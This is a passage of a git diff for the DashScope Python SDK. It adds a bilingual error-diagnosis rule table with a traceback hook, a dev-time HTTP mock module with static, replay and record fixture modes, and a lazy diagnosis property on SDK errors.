client with " + + "dashscope.Client(region='ap-southeast-1')", + ), + ( + "Missing workspace id in multi-tenant mode", + "set DASHSCOPE_WORKSPACE or pass " + + "Client(workspace=...) / the workspace argument", + ), + ), + command="echo $DASHSCOPE_WORKSPACE", + ), + ), + Rule( + name="throttling", + matchers=( + Matcher(status_codes=(429,)), + Matcher(code_keywords=("throttling", "ratelimit", "quota")), + ), + diagnosis_zh=Diagnosis( + title="触发限流或配额耗尽", + fixes=( + ( + "请求速率超过账号 QPS 上限", + "降低并发,并为客户端增加指数退避重试", + ), + ( + "账户额度(Quota)用尽", + "到百炼控制台检查额度与欠费状态", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Throttled or out of quota", + fixes=( + ( + "Request rate exceeded the account QPS limit", + "lower concurrency and retry with " + + "exponential backoff", + ), + ( + "Account quota exhausted", + "check quota and billing status on the " + + "DashScope console", + ), + ), + ), + ), + Rule( + name="model_not_found", + matchers=( + Matcher(code_keywords=("model.notexist", "invalidmodel")), + Matcher(message_patterns=(r"model.*not exist",)), + ), + diagnosis_zh=Diagnosis( + title="模型不存在或名称有误", + fixes=( + ( + "模型名拼写错误", + "对照百炼控制台「模型列表」核对拼写" + + "(注意版本后缀,如 qwen-max 与 qwen-max-latest)", + ), + ( + "模型在当前地域未上线", + "确认目标地域提供该模型,必要时切换 region", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Model does not exist or the name is wrong", + fixes=( + ( + "Model name misspelled", + "check the console model list (mind version " + + "suffixes, e.g. qwen-max vs qwen-max-latest)", + ), + ( + "Model not available in the current region", + "confirm the region offers this model; " + + "switch region if needed", + ), + ), + ), + ), + Rule( + name="model_unauthorized", + matchers=( + Matcher(status_codes=(403,)), + Matcher(code_keywords=("unauthorized", "accessdenied")), + Matcher(message_patterns=(r"not authorized", r"permission")), + ), + diagnosis_zh=Diagnosis( + title="无权限访问该模型或资源", + fixes=( + ( + "模型未在当前工作空间开通", + "到百炼控制台为目标 Workspace 开通该模型", + ), + ( + "子账号缺少授权", + "联系主账号在 RAM 中授予百炼调用权限", + ), + ), + ), + diagnosis_en=Diagnosis( + title="No permission for this model or resource", + fixes=( + ( + "Model not activated for the current workspace", + "activate it on the DashScope console for " + + "the target workspace", + ), + ( + "Sub-account lacks authorization", + "ask the primary account to grant DashScope " + + "access in RAM", + ), + ), + ), + ), + Rule( + name="content_moderation", + matchers=( + Matcher( + code_keywords=("datainspection", "contentmoderation"), + ), + Matcher( + message_patterns=( + r"inappropriate content", + r"data inspection", + ), + ), + ), + diagnosis_zh=Diagnosis( + title="输入或输出触发了内容安全审核", + fixes=( + ( + "prompt 或生成内容命中审核策略", + "检查输入文本;若属误判,缩小输入范围定位触发片段", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Input or output triggered content moderation", + fixes=( + ( + "prompt or generated content hit the " + + "moderation policy", + "review the input; if it looks like a false " + + "positive, bisect the input to locate the " + + "triggering fragment", + ), + ), + ), + ), + Rule( + name="invalid_parameter", + matchers=( + Matcher(status_codes=(400,)), + Matcher(code_keywords=("invalidparameter", "invalidinput")), + ), + diagnosis_zh=Diagnosis( + title="请求参数不合法", + fixes=( + ( + "参数取值越界或类型错误", + "对照 API 文档检查取值范围" + + "(如 temperature ∈ [0, 2)、top_p ∈ (0, 1])", + ), + ( + "输入结构不符合协议", + "检查 messages/prompt 结构;" + "多模态输入确认 URL 或本地路径可读", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Invalid request parameters", + fixes=( + ( + "Parameter value out of range or wrong type", + "check ranges in the API docs (e.g. " + + "temperature in [0, 2), top_p in (0, 1])", + ), + ( + "Input structure does not match the protocol", + "check the messages/prompt structure; for " + + "multimodal input confirm the URL or local " + + "path is readable", + ), + ), + ), + ), + Rule( + name="network", + matchers=( + Matcher(code_keywords=("gatewaytimeout",)), + Matcher( + message_patterns=( + r"timed? ?out", + r"connection", + r"max retries exceeded", + ), + ), + ), + diagnosis_zh=Diagnosis( + title="网络连通性问题", + fixes=( + ( + "到 dashscope.aliyuncs.com 的链路不通或被代理拦截", + "检查代理/防火墙;海外地域资源确认已用 " + "Client(region=...) 指定地域", + ), + ( + "服务端响应过慢导致读取超时", + "减小 max_tokens 或改用 stream=True 流式读取", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Network connectivity problem", + fixes=( + ( + "Link to dashscope.aliyuncs.com is blocked or " + + "proxied", + "check proxy/firewall; for overseas regions " + + "build the client with Client(region=...)", + ), + ( + "Server too slow; read timed out", + "lower max_tokens or switch to stream=True", + ), + ), + ), + ), + Rule( + name="internal_error", + matchers=( + Matcher(status_codes=(500, 502, 503)), + Matcher(code_keywords=("internalerror", "serviceunavailable")), + ), + diagnosis_zh=Diagnosis( + title="服务端内部错误", + fixes=( + ( + "平台侧临时故障", + "指数退避重试;持续失败则到阿里云控制台查看" + "服务健康状态或提工单", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Server-side internal error", + fixes=( + ( + "Transient platform fault", + "retry with exponential backoff; if it " + + "persists, check service health on the " + + "Alibaba Cloud console or file a ticket", + ), + ), + ), + ), + Rule( + name="arrears", + matchers=(Matcher(code_keywords=("arrearage",)),), + diagnosis_zh=Diagnosis( + title="账户欠费,调用已被停用", + fixes=( + ( + "账户余额不足或已欠费", + "到阿里云 / 百炼控制台充值," + "确认账号状态恢复正常后重试", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Account in arrears; calls suspended", + fixes=( + ( + "Insufficient balance or overdue account", + "top up on the Alibaba Cloud / DashScope console " + + "and confirm the account is in good standing", + ), + ), + ), + ), +) + + +def _lang() -> str: + return ( + "en" if os.environ.get(LANG_ENV, "").lower().startswith("en") else "zh" + ) + + +def _match_one( + matcher: Matcher, + status_code: Optional[int], + code_lower: str, + message: str, +) -> bool: + if not ( + matcher.status_codes + or matcher.code_keywords + or matcher.message_patterns + ): + return False + if matcher.status_codes and status_code not in matcher.status_codes: + return False + if matcher.code_keywords and not any( + kw in code_lower for kw in matcher.code_keywords + ): + return False + return not matcher.message_patterns or any( + re.search(p, message, re.IGNORECASE) for p in matcher.message_patterns + ) + + +def diagnose( + status_code: Optional[int] = None, + code: Optional[str] = None, + message: Optional[str] = None, +) -> Optional[Diagnosis]: + """Match a failure against the local rule table. + + First matching rule wins; rules are ordered most-specific first. + The returned Diagnosis is in the language selected by + ``DASHSCOPE_DIAGNOSIS_LANG`` (default zh). + """ + code_lower = (code or "").lower() + msg = str(message or "") + for rule in RULES: + if any( + _match_one(m, status_code, code_lower, msg) for m in rule.matchers + ): + if _lang() == "en": + return rule.diagnosis_en + return rule.diagnosis_zh + return None + + +_WIDTH = 80 + +_EXPERT_HINT = { + "zh": "🤖 仍未解决?运行 dashscope 进入交互提问," '或一次性提问:dashscope expert "<贴入错误信息>"', + "en": "🤖 Still stuck? Run dashscope for interactive Q&A, " + 'or ask once: dashscope expert ""', +} + + +def render(diagnosis: Diagnosis, lang: Optional[str] = None) -> str: + """Render a diagnosis as a terminal block. + + Ends with an escalation hint to the built-in AI expert. + """ + lang = lang or _lang() + if lang == "zh": + title_line = f"💡 [DashScope 诊断建议] {diagnosis.title}" + causes_line = "🔍 可能的原因与修复方法:" + else: + title_line = f"💡 [DashScope Diagnosis] {diagnosis.title}" + causes_line = "🔍 Possible causes and fixes:" + lines = ["=" * _WIDTH, title_line, "", causes_line] + for i, (cause, fix) in enumerate(diagnosis.fixes, 1): + lines.append(f" {i}. {cause}") + lines.append(f" 👉 {fix}") + if diagnosis.command: + label = "🛠️ 快捷命令:" if lang == "zh" else "🛠️ Quick check: " + lines += ["", f"{label}{diagnosis.command}"] + lines += ["", _EXPERT_HINT[lang]] + lines.append("=" * _WIDTH) + return "\n".join(lines) + + +_installed = False + + +def install_excepthook() -> None: + """Append the diagnosis block to uncaught tracebacks (stderr only). + + The normal traceback still prints first; the diagnosis is advisory + output appended after it. Idempotent. + + Chains to whatever ``sys.excepthook`` was installed before this call + (not ``sys.__excepthook__``), so a third-party hook already in place + -- pytest, IPython, an APM agent -- keeps running instead of being + silently dropped. + """ + global _installed + if _installed: + return + _installed = True + + previous = sys.excepthook + + def _hook(exc_type, exc, tb): + previous(exc_type, exc, tb) + diag = getattr(exc, "diagnosis", None) + if diag is not None: + print(render(diag), file=sys.stderr) + + sys.excepthook = _hook diff --git a/dashscope/devkit/mock.py b/dashscope/devkit/mock.py new file mode 100644 index 00000000..5f2cb9f4 --- /dev/null +++ b/dashscope/devkit/mock.py @@ -0,0 +1,910 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Dev-time mock for dashscope 2.0 API calls. + +Three modes: + static -- synthesize a schema-valid wire response locally, zero network. + This is an HTTP *parser* smoke mock: it models the chat / + multimodal shapes only, so a dev loop can exercise protocol + adapters, SSE parsing and typed models offline. It does not + simulate tool calls, structured output, async job state + machines or non-chat resources -- use record/replay for those. + replay -- answer from a recorded JSONL fixture; a miss raises + DevMockMiss (never silently falls through to the network). + record -- pass through to the real service and append the exchange to + the fixture for later replay. + +Where the 1.x mock short-circuited ``BaseApi.call`` and returned an +already-typed ``DashScopeAPIResponse``, the 2.0 mock hooks the transport +(the single choke point every HTTP resource flows through) and returns a +raw ``httpx.Response`` carrying wire bytes. The real protocol adapters +and typed-model parsers then run on it unchanged, so a dev loop exercises +the same decode path production does -- for every protocol (native / +openai / anthropic), streaming and non-streaming. + +Scope: HTTP only. The websocket transport (``WsConnection``, realtime +audio) is not intercepted and gets no mock coverage. + +Activation is process-wide with near-zero overhead when off: the +transport checks ``DASHSCOPE_DEV_MOCK`` / ``dashscope.devkit.is_active()`` +before each send, and only builds the mock seam / imports this module +once a mock is actually requested. + +Record mode writes full response bodies to the fixture, which can carry +generated content, tool-call arguments or account data; see the warning +emitted by :func:`enable` and the scrubbing hook :func:`set_redactor`. +""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import os +import threading +import uuid +import warnings +from typing import Any, Awaitable, Callable, Dict, List, Mapping, Optional + +import httpx + +from dashscope.errors import DashScopeError + +MOCK_MARKER = "[MOCK]" +DEV_MODE_ENV = "DASHSCOPE_DEV_MOCK" +FIXTURE_PATH_ENV = "DASHSCOPE_DEV_MOCK_FIXTURE" +ALLOW_PARTIAL_ENV = "DASHSCOPE_DEV_MOCK_ALLOW_PARTIAL" +DEFAULT_FIXTURE = "dashscope_mock.jsonl" + +_MODES = ("static", "replay", "record") +_EVENT_STREAM = "text/event-stream; charset=utf-8" + +# Semantics-bearing request headers folded into the record/replay +# fingerprint. Identity headers (Authorization, User-Agent, the per-call +# client request id) are deliberately absent: they change every call and +# would make every replay miss. +_FINGERPRINT_HEADERS = ("x-dashscope-async", "x-dashscope-sse", "content-type") + +# Serializes fixture appends within the process; the O_APPEND write +# itself is what keeps concurrent processes from interleaving a line. +_FIXTURE_LOCK = threading.Lock() + +_mode: Optional[str] = None +_fixture_path: Optional[str] = None +_redactor: Optional[Callable[[Any], Any]] = None +_warned_record = False + + +class DevMockMiss(DashScopeError): + """Replay has no recorded response, or static cannot synthesize one. + + Subclasses the v2 error base, so ``except DashScopeError`` covers it. + """ + + +def set_redactor(fn: Optional[Callable[[Any], Any]]) -> None: + """Register a hook that scrubs a recorded JSON body before it is saved. + + Record mode persists the full response body, which can contain + generated content, tool-call arguments or account fields. The + redactor receives the parsed JSON (``dict`` / ``list``) and returns + the value to write. It runs only when the body parses as a single + JSON document -- SSE streams and binary bodies are stored verbatim, + so scrub those at the source or do not record them. Pass ``None`` to + clear. + """ + global _redactor + _redactor = fn + + +def enable(mode: str = "static", fixture_path: Optional[str] = None) -> None: + global _mode, _fixture_path + if mode not in _MODES: + raise ValueError( + f"Unknown dev mock mode {mode!r}; expected one of {_MODES}", + ) + _mode = mode + _fixture_path = fixture_path + + +def disable() -> None: + global _mode, _fixture_path + _mode = None + _fixture_path = None + + +def active() -> bool: + return _resolve_mode() is not None + + +def _warn_record_once() -> None: + global _warned_record + if _warned_record: + return + _warned_record = True + warnings.warn( + "dev mock 'record' mode writes full response bodies to " + f"{_resolve_fixture()!r}. Responses can contain generated " + "content, tool-call arguments or account data, and the file is " + "easy to commit by accident. Register " + "dashscope.devkit.set_redactor(...) to scrub bodies, keep the " + "fixture out of version control, and never record with " + "production credentials.", + stacklevel=4, + ) + + +def _resolve_mode() -> Optional[str]: + mode = _mode + if mode is None: + env = os.environ.get(DEV_MODE_ENV) + if not env: + return None + if env not in _MODES: + raise ValueError( + f"Invalid {DEV_MODE_ENV}={env!r}; expected one of {_MODES}", + ) + mode = env + if mode == "record": + _warn_record_once() + return mode + + +def _resolve_fixture() -> str: + return _fixture_path or os.environ.get(FIXTURE_PATH_ENV) or DEFAULT_FIXTURE + + +def _allow_partial_replay() -> bool: + return bool(os.environ.get(ALLOW_PARTIAL_ENV)) + + +# --------------------------------------------------------------------------- +# request fingerprint. Identity headers (Authorization / User-Agent / +# per-call client id) are excluded: they are volatile and would defeat +# replay hits. Everything that can change the *response* is included -- +# endpoint, JSON body, query params, the raw/form/multipart channels and +# a small allowlist of semantics-bearing headers. +# --------------------------------------------------------------------------- + + +def _bytes_digest(value: Any) -> Any: + if value is None: + return None + if isinstance(value, (bytes, bytearray)): + return {"__sha256__": hashlib.sha256(bytes(value)).hexdigest()} + return value + + +def _one_file(field: Any, value: Any) -> Dict[str, Any]: + # httpx accepts bytes, a file object, or a (filename, payload[, ctype]) + # tuple. Digest bytes directly; for file objects record identity only -- + # reading them here would drain the stream the real upload needs. + filename: Any = None + payload = value + if isinstance(value, (tuple, list)) and len(value) >= 2: + filename, payload = value[0], value[1] + name = filename or getattr(payload, "name", None) + entry: Dict[str, Any] = { + "field": str(field), + "filename": str(name) if name else None, + } + if isinstance(payload, (bytes, bytearray)): + entry["sha256"] = hashlib.sha256(bytes(payload)).hexdigest() + return entry + + +def _files_digest(files: Any) -> Any: + if not files: + return None + items = list(files.items()) if isinstance(files, Mapping) else list(files) + out = [] + for item in items: + if isinstance(item, (tuple, list)) and len(item) == 2: + out.append(_one_file(item[0], item[1])) + else: + out.append(_one_file(item, None)) + return out + + +def _semantic_headers(headers: Optional[Mapping[str, str]]) -> Dict[str, str]: + if not headers: + return {} + lowered = {str(k).lower(): str(v) for k, v in headers.items()} + return {h: lowered[h] for h in _FINGERPRINT_HEADERS if h in lowered} + + +def _fingerprint( + method: str, + path: str, + body: Any, + params: Optional[Any], + *, + base_url: Optional[str] = None, + content: Any = None, + data: Any = None, + files: Any = None, + headers: Optional[Mapping[str, str]] = None, +) -> str: + """Stable request identity for record/replay. + + ``base_url`` is part of the key so a capture made against one region + (e.g. Hangzhou) never replays for a request routed to another + (e.g. Singapore) that happens to share the same path and body. + """ + payload = { + "method": method, + "path": path, + "base_url": base_url, + "body": body, + "params": dict(params) if params else {}, + "content": _bytes_digest(content), + "data": dict(data) + if isinstance(data, Mapping) + else _bytes_digest(data), + "files": _files_digest(files), + "headers": _semantic_headers(headers), + } + blob = json.dumps(payload, ensure_ascii=False, sort_keys=True, default=str) + return hashlib.sha256(blob.encode("utf-8")).hexdigest() + + +# --------------------------------------------------------------------------- +# static synthesis: build a wire body the active protocol's parser accepts. +# the protocol is inferred from the request path (the same signal the +# adapters themselves key off), so the mock needs no client reference. +# --------------------------------------------------------------------------- + + +def _protocol_of(path: str) -> Optional[str]: + """Wire protocol for a chat endpoint, or ``None`` if it is not one. + + Keyed off the same path signal the adapters use. static synthesis + only models the chat/multimodal shapes, so a non-chat path (embeddings, + images, files, ...) yields ``None`` and fails loudly instead of + returning a body the endpoint's typed parser would silently misread. + """ + if path.endswith("/messages"): + return "anthropic" + if path.endswith("/chat/completions"): + return "openai" + if ( + "text-generation/generation" in path + or "multimodal-generation/generation" in path + ): + return "native" + return None + + +def _model_of(body: Any) -> str: + if isinstance(body, dict): + return str(body.get("model") or "unknown") + return "unknown" + + +def _mock_text(model: str) -> str: + return f"{MOCK_MARKER} static response for model={model}" + + +def _usage(body: Any, text: str) -> Dict[str, int]: + in_tokens = max( + 1, + len(json.dumps(body, ensure_ascii=False, default=str)) // 4, + ) + out_tokens = max(1, len(text) // 4) + return { + "input_tokens": in_tokens, + "output_tokens": out_tokens, + "total_tokens": in_tokens + out_tokens, + } + + +def _pieces(text: str) -> List[str]: + # Five incremental pieces mirror the server's SSE cadence, so + # consumers exercising stream assembly see realistic chunking. + step = max(1, len(text) // 5) + return [text[i : i + step] for i in range(0, len(text), step)] + + +def _native_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [] + pieces = _pieces(text) + for piece in pieces[:-1]: + frames.append( + { + "output": { + "choices": [ + { + "finish_reason": None, + "message": { + "role": "assistant", + "content": piece, + }, + }, + ], + }, + "model": model, + "request_id": rid, + }, + ) + frames.append( + { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": pieces[-1], + }, + }, + ], + }, + "usage": usage, + "model": model, + "request_id": rid, + }, + ) + return frames + + +def _openai_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [] + pieces = _pieces(text) + for i, piece in enumerate(pieces): + delta: Dict[str, Any] = {"content": piece} + if i == 0: + delta["role"] = "assistant" + frames.append( + { + "id": rid, + "object": "chat.completion.chunk", + "model": model, + "choices": [ + {"index": 0, "delta": delta, "finish_reason": None}, + ], + }, + ) + frames.append( + { + "id": rid, + "object": "chat.completion.chunk", + "model": model, + "choices": [{"index": 0, "delta": {}, "finish_reason": "stop"}], + "usage": { + "prompt_tokens": usage["input_tokens"], + "completion_tokens": usage["output_tokens"], + "total_tokens": usage["total_tokens"], + }, + }, + ) + return frames + + +def _anthropic_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [ + { + "type": "message_start", + "message": { + "id": rid, + "type": "message", + "role": "assistant", + "model": model, + "content": [], + "usage": { + "input_tokens": usage["input_tokens"], + "output_tokens": 0, + }, + }, + }, + { + "type": "content_block_start", + "index": 0, + "content_block": {"type": "text", "text": ""}, + }, + ] + for piece in _pieces(text): + frames.append( + { + "type": "content_block_delta", + "index": 0, + "delta": {"type": "text_delta", "text": piece}, + }, + ) + frames.append({"type": "content_block_stop", "index": 0}) + frames.append( + { + "type": "message_delta", + "delta": {"stop_reason": "end_turn", "stop_sequence": None}, + "usage": {"output_tokens": usage["output_tokens"]}, + }, + ) + frames.append({"type": "message_stop"}) + return frames + + +_STREAM_FRAMES = { + "native": _native_frames, + "openai": _openai_frames, + "anthropic": _anthropic_frames, +} + + +def _static_body( + proto: str, + rid: str, + model: str, + text: str, + usage: Dict[str, int], +) -> Dict[str, Any]: + if proto == "openai": + return { + "id": rid, + "object": "chat.completion", + "model": model, + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": text}, + "finish_reason": "stop", + }, + ], + "usage": { + "prompt_tokens": usage["input_tokens"], + "completion_tokens": usage["output_tokens"], + "total_tokens": usage["total_tokens"], + }, + } + if proto == "anthropic": + return { + "id": rid, + "type": "message", + "role": "assistant", + "model": model, + "content": [{"type": "text", "text": text}], + "stop_reason": "end_turn", + "stop_sequence": None, + "usage": { + "input_tokens": usage["input_tokens"], + "output_tokens": usage["output_tokens"], + }, + } + return { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": text}, + }, + ], + }, + "usage": usage, + "request_id": rid, + } + + +def _sse_text(frames: List[Dict[str, Any]], done_marker: bool) -> str: + out = [] + for i, frame in enumerate(frames, 1): + out.append( + f"id: {i}\ndata: {json.dumps(frame, ensure_ascii=False)}\n\n", + ) + if done_marker: + out.append("data: [DONE]\n\n") + return "".join(out) + + +def _response( + method: str, + url: str, + *, + status_code: int = 200, + content: Optional[bytes] = None, + json_body: Optional[Any] = None, + content_type: Optional[str] = None, + request_id: Optional[str] = None, +) -> httpx.Response: + headers: Dict[str, str] = {} + if content_type: + headers["content-type"] = content_type + if request_id: + headers["x-request-id"] = request_id + kwargs: Dict[str, Any] = {"headers": headers} + if json_body is not None: + kwargs["json"] = json_body + elif content is not None: + kwargs["content"] = content + return httpx.Response( + status_code, + request=httpx.Request(method, url), + **kwargs, + ) + + +def _synthesize(method: str, url: str, path: str, body: Any, stream: bool): + proto = _protocol_of(path) + model = _model_of(body) + if proto is None or not isinstance(body, dict) or "model" not in body: + raise DevMockMiss( + f"static dev mock cannot synthesize a response for {path}; " + "it covers the chat/multimodal endpoints only. Use " + "mode='record' once against the real service, then " + "mode='replay' for this endpoint.", + ) + rid = f"mock-{uuid.uuid4().hex[:12]}" + text = _mock_text(model) + usage = _usage(body, text) + if not stream: + return _response( + method, + url, + json_body=_static_body(proto, rid, model, text, usage), + request_id=rid, + ) + frames = _STREAM_FRAMES[proto](rid, model, text, usage) + return _response( + method, + url, + content=_sse_text(frames, proto == "openai").encode("utf-8"), + content_type=_EVENT_STREAM, + request_id=rid, + ) + + +# --------------------------------------------------------------------------- +# fixture read/write. Request headers (Authorization / User-Agent) are +# never persisted; the response body is, so it may carry sensitive data +# -- see the record-mode warning and :func:`set_redactor`. +# --------------------------------------------------------------------------- + + +def _encode_body(raw: bytes) -> Dict[str, Any]: + """Store wire bytes losslessly: text as UTF-8, anything else base64. + + A strict decode is the test -- only bytes that round-trip exactly are + stored as text (keeping JSON/SSE fixtures human-readable). Binary + payloads (audio, images, file downloads) go in as base64 so replay + reproduces them byte for byte instead of corrupting them through + ``decode(errors="replace")``. + """ + try: + return {"body": raw.decode("utf-8"), "body_encoding": "utf-8"} + except UnicodeDecodeError: + return { + "body": base64.b64encode(raw).decode("ascii"), + "body_encoding": "base64", + } + + +def _decode_body(entry: Dict[str, Any]) -> bytes: + body = entry.get("body", "") + if entry.get("body_encoding") == "base64": + return base64.b64decode(body.encode("ascii")) + # Fixtures recorded before body_encoding existed are UTF-8 text. + return body.encode("utf-8") + + +def _record_body(raw: bytes) -> Dict[str, Any]: + if _redactor is not None: + try: + parsed = json.loads(raw.decode("utf-8")) + except (UnicodeDecodeError, ValueError): + parsed = None + if parsed is not None: + redacted = _redactor(parsed) + return { + "body": json.dumps(redacted, ensure_ascii=False), + "body_encoding": "utf-8", + } + return _encode_body(raw) + + +def _append_fixture(entry: Dict[str, Any]) -> None: + line = json.dumps(entry, ensure_ascii=False) + "\n" + path = _resolve_fixture() + with _FIXTURE_LOCK: + # O_CREAT mode 0600 so a fixture holding recorded response bodies + # is never group/world readable (umask can only tighten it). The + # single O_APPEND write is atomic on POSIX, so concurrent + # processes each land a whole line rather than interleaving. + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600) + with os.fdopen(fd, "a", encoding="utf-8") as f: + f.write(line) + + +def _lookup_fixture(key: str) -> Optional[Dict[str, Any]]: + """Return the newest recorded entry for ``key``, or ``None``. + + The fixture is append-only, so re-recording a request leaves several + lines under the same key. The last one is the most recent capture and + wins -- scanning the whole file instead of returning on the first hit + is what makes a re-record actually take effect. + """ + found: Optional[Dict[str, Any]] = None + try: + with open(_resolve_fixture(), "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + entry = json.loads(line) + except ValueError: + continue + if entry.get("key") == key: + found = entry + except FileNotFoundError: + return None + return found + + +def _capture( + key: str, + response: httpx.Response, + raw: bytes, + stream: bool, + *, + complete: bool = True, +) -> None: + entry = { + "key": key, + "stream": stream, + "complete": complete, + "status_code": response.status_code, + "content_type": response.headers.get("content-type", ""), + } + entry.update(_record_body(raw)) + _append_fixture(entry) + + +def _replay(key: str, method: str, url: str, stream: bool) -> httpx.Response: + entry = _lookup_fixture(key) + if entry is None: + raise DevMockMiss( + f"No recorded response for request fingerprint {key} in " + f"{_resolve_fixture()}. Run once with mode='record' to " + "capture it.", + ) + if bool(entry.get("stream")) != stream: + raise DevMockMiss( + "Fixture holds a " + f"{'streaming' if entry.get('stream') else 'non-streaming'} " + f"response but this call is {'streaming' if stream else 'non-streaming'}; " + "re-record with the matching call.", + ) + # A stream captured from a consumer that stopped early, cancelled or + # errored before EOF is truncated; replaying it as if whole produces + # a half SSE stream that is miserable to debug. Refuse by default. + if stream and not entry.get("complete", True): + if not _allow_partial_replay(): + raise DevMockMiss( + "The recorded stream for this request is incomplete (it " + "was captured before EOF -- the consumer stopped early, " + "cancelled, or errored). Re-record it, or set " + f"{ALLOW_PARTIAL_ENV}=1 to replay the truncated capture " + "anyway.", + ) + return _response( + method, + url, + status_code=entry.get("status_code", 200), + content=_decode_body(entry), + content_type=entry.get("content_type") or None, + ) + + +# --------------------------------------------------------------------------- +# record: pass through to the real transport, tee the wire bytes, persist. +# --------------------------------------------------------------------------- + + +class _TeeSyncStream(httpx.SyncByteStream): + def __init__(self, inner, on_done: Callable[[bytes, bool], None]) -> None: + self._inner = inner + self._on_done = on_done + self._buf = bytearray() + self._done = False + self._complete = False + + def __iter__(self): + try: + for chunk in self._inner: + self._buf += chunk + yield chunk + except BaseException: + # Errored mid-stream: what was buffered is partial. + self._finish() + raise + # Inner stream drained to natural EOF: a complete recording. + self._complete = True + self._finish() + + def close(self) -> None: + # Closed before EOF (early stop / cancel): partial by definition. + self._finish() + close = getattr(self._inner, "close", None) + if close is not None: + close() + + def _finish(self) -> None: + if not self._done: + self._done = True + self._on_done(bytes(self._buf), self._complete) + + +class _TeeAsyncStream(httpx.AsyncByteStream): + def __init__(self, inner, on_done: Callable[[bytes, bool], None]) -> None: + self._inner = inner + self._on_done = on_done + self._buf = bytearray() + self._done = False + self._complete = False + + async def __aiter__(self): + try: + async for chunk in self._inner: + self._buf += chunk + yield chunk + except BaseException: + self._finish() + raise + self._complete = True + self._finish() + + async def aclose(self) -> None: + self._finish() + aclose = getattr(self._inner, "aclose", None) + if aclose is not None: + await aclose() + + def _finish(self) -> None: + if not self._done: + self._done = True + self._on_done(bytes(self._buf), self._complete) + + +def _record_sync( + key: str, + stream: bool, + real: Callable[[], httpx.Response], +) -> httpx.Response: + response = real() + if not stream: + response.read() + _capture(key, response, response.content, False) + return response + tee = _TeeSyncStream( + response.stream, + lambda raw, complete: _capture( + key, + response, + raw, + True, + complete=complete, + ), + ) + return httpx.Response( + response.status_code, + headers=response.headers, + stream=tee, + request=response.request, + ) + + +async def _record_async( + key: str, + stream: bool, + real: Callable[[], Awaitable[httpx.Response]], +) -> httpx.Response: + response = await real() + if not stream: + await response.aread() + _capture(key, response, response.content, False) + return response + tee = _TeeAsyncStream( + response.stream, + lambda raw, complete: _capture( + key, + response, + raw, + True, + complete=complete, + ), + ) + return httpx.Response( + response.status_code, + headers=response.headers, + stream=tee, + request=response.request, + ) + + +# --------------------------------------------------------------------------- +# transport entry points +# --------------------------------------------------------------------------- + + +def _abs_url(base_url: Optional[str], path: str) -> str: + if base_url is None: + return path + return f"{base_url.rstrip('/')}/{path.lstrip('/')}" + + +def intercept( + *, + method: str, + path: str, + json_body: Any = None, + content: Any = None, + data: Any = None, + files: Any = None, + params: Optional[Any] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + stream: bool = False, + real: Callable[[], httpx.Response], +) -> httpx.Response: + """Handle one sync transport send in dev mock mode. + + ``real`` performs the actual (retried) httpx call; only record mode + invokes it. static/replay never touch the network. ``content`` / + ``data`` / ``files`` / ``headers`` feed the request fingerprint so a + multipart, binary or region-specific request cannot collide with a + different one that shares its path and JSON body. + """ + mode = _resolve_mode() + if mode is None: + return real() + url = _abs_url(base_url, path) + if mode == "static": + return _synthesize(method, url, path, json_body, stream) + key = _fingerprint( + method, + path, + json_body, + params, + base_url=base_url, + content=content, + data=data, + files=files, + headers=headers, + ) + if mode == "replay": + return _replay(key, method, url, stream) + return _record_sync(key, stream, real) + + +async def aintercept( + *, + method: str, + path: str, + json_body: Any = None, + content: Any = None, + data: Any = None, + files: Any = None, + params: Optional[Any] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + stream: bool = False, + real: Callable[[], Awaitable[httpx.Response]], +) -> httpx.Response: + """Async counterpart of :func:`intercept`.""" + mode = _resolve_mode() + if mode is None: + return await real() + url = _abs_url(base_url, path) + if mode == "static": + return _synthesize(method, url, path, json_body, stream) + key = _fingerprint( + method, + path, + json_body, + params, + base_url=base_url, + content=content, + data=data, + files=files, + headers=headers, + ) + if mode == "replay": + return _replay(key, method, url, stream) + return await _record_async(key, stream, real) diff --git a/dashscope/errors.py b/dashscope/errors.py index ea974471..c84ce206 100644 --- a/dashscope/errors.py +++ b/dashscope/errors.py @@ -27,6 +27,13 @@ entries. AgentStudio and AgenticRL also raise catalog-backed v2 errors natively; :func:`error_from_sdk_exception` remains available for mounts over external SDK families. + +A fourth source has a response the gateway considered successful: +:class:`APIResponseValidationError`, for a body that does not fit the +model the SDK parses it into. It belongs to neither layer above -- the +gateway declared no failure -- and is not an :class:`SdkError` either, +because the catalog is a vendored generated artifact this SDK does not +hand-edit. """ from __future__ import annotations @@ -104,6 +111,25 @@ def __str__(self) -> str: parts.append(f"request_id={self.request_id}") return " | ".join(parts) + @property + def diagnosis(self): + """Structured local fix guidance, or ``None`` if no rule matched. + + Matched offline from ``(status_code, code, message)`` by the devkit + rule table -- no network, no model call. Advisory data only: the + SDK never prints it. The CLI renders it, and + ``dashscope.devkit.install_excepthook()`` appends it to uncaught + tracebacks. Imported lazily so the error path stays dependency-free + and the devkit package is never loaded on the success path. + """ + from dashscope.devkit.diagnosis import diagnose + + return diagnose( + status_code=self.status_code, + code=self.code, + message=self.message, + ) + _SDK_ERRORS: Dict[str, SdkErrorDef] = { entry.name: entry for entry in _registry.SDK_ERRORS @@ -220,6 +246,78 @@ class WsBinaryOwnerConflictError(_CatalogSdkError): _SDK_ERROR_NAME = "sdk.ws.BinaryOwnerConflict" +_STR_FIELD_LIMIT = 200 + + +def 